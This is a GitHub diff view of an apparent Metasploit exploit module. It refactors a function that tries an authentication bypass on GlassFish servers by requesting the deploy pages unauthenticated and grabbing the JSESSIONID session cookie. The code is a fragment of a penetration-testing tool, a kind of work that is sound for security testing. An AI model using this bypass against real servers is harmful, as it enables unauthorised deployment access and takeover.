File tree Expand file tree Collapse file tree 1 file changed +9
-7
lines changed
modules/exploits/multi/http Expand file tree Collapse file tree 1 file changed +9
-7
lines changed Original file line number Diff line number Diff line change @@ -631,20 +631,22 @@ def init_loginscanner
631
631
end
632
632
633
633
def try_glassfish_auth_bypass ( version )
634
- sid = false
634
+ sid = nil
635
635
636
636
if version == '2.x' || version == '9.x'
637
+ print_status ( "Trying auth bypass..." )
637
638
res = send_glassfish_request ( '/applications/upload.jsf' , 'get' )
638
- p = / <title>Deploy Enterprise Applications\ / Modules/
639
- if res && res . code . to_i == 200 && res . body . match ( p ) != nil
640
- sid = res . get_cookies . to_s . scan ( /JSESSIONID=(.*); / ) . flatten . first
639
+ title = ' <title>Deploy Enterprise Applications/Modules</title>'
640
+ if res && res . code . to_i == 200 && res . body . include? ( title )
641
+ sid = res . get_cookies . to_s . scan ( /JSESSIONID=(.*); * / ) . flatten . first
641
642
end
642
643
else
643
644
# 3.0
645
+ print_status ( "Trying auth bypass..." )
644
646
res = send_glassfish_request ( '/common/applications/uploadFrame.jsf' , 'get' )
645
- p = / <title>Deploy Applications or Modules/
646
- if res && res . code . to_i == 200 && res . body . match ( p ) != nil
647
- sid = res . get_cookies . to_s . scan ( /JSESSIONID=(.*); / ) . flatten . first
647
+ title = ' <title>Deploy Applications or Modules'
648
+ if res && res . code . to_i == 200 && res . body . include? ( title )
649
+ sid = res . get_cookies . to_s . scan ( /JSESSIONID=(.*); * / ) . flatten . first
648
650
end
649
651
end
650
652
You can’t perform that action at this time.
0 commit comments